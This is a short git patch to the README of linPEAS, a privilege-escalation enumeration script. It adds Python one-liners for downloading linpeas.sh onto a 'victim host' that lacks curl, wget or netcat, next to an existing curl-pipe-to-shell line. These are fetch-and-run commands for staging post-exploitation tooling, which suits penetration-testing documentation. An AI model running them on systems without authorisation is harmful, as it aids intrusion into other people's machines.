From 28a8f4b3e9d0b6b44e11ec2c7f0bcf32ac843795 Mon Sep 17 00:00:00 2001 From: d4t4s3c Date: Sat, 13 Jan 2024 13:40:24 +0100 Subject: [PATCH] useful for when on the victim host we have access to the internet but we do not have: curl, wget or netcat --- linPEAS/README.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/linPEAS/README.md b/linPEAS/README.md index 55585f2..bbedb97 100755 --- a/linPEAS/README.md +++ b/linPEAS/README.md @@ -18,6 +18,11 @@ Find the **latest versions of all the scripts and binaries in [the releases page ```bash # From github curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh + +# Without curl +python -c "import urllib.request; urllib.request.urlretrieve('https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh', 'linpeas.sh')" + +python3 -c "import urllib.request; urllib.request.urlretrieve('https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh', 'linpeas.sh')" ``` ```bash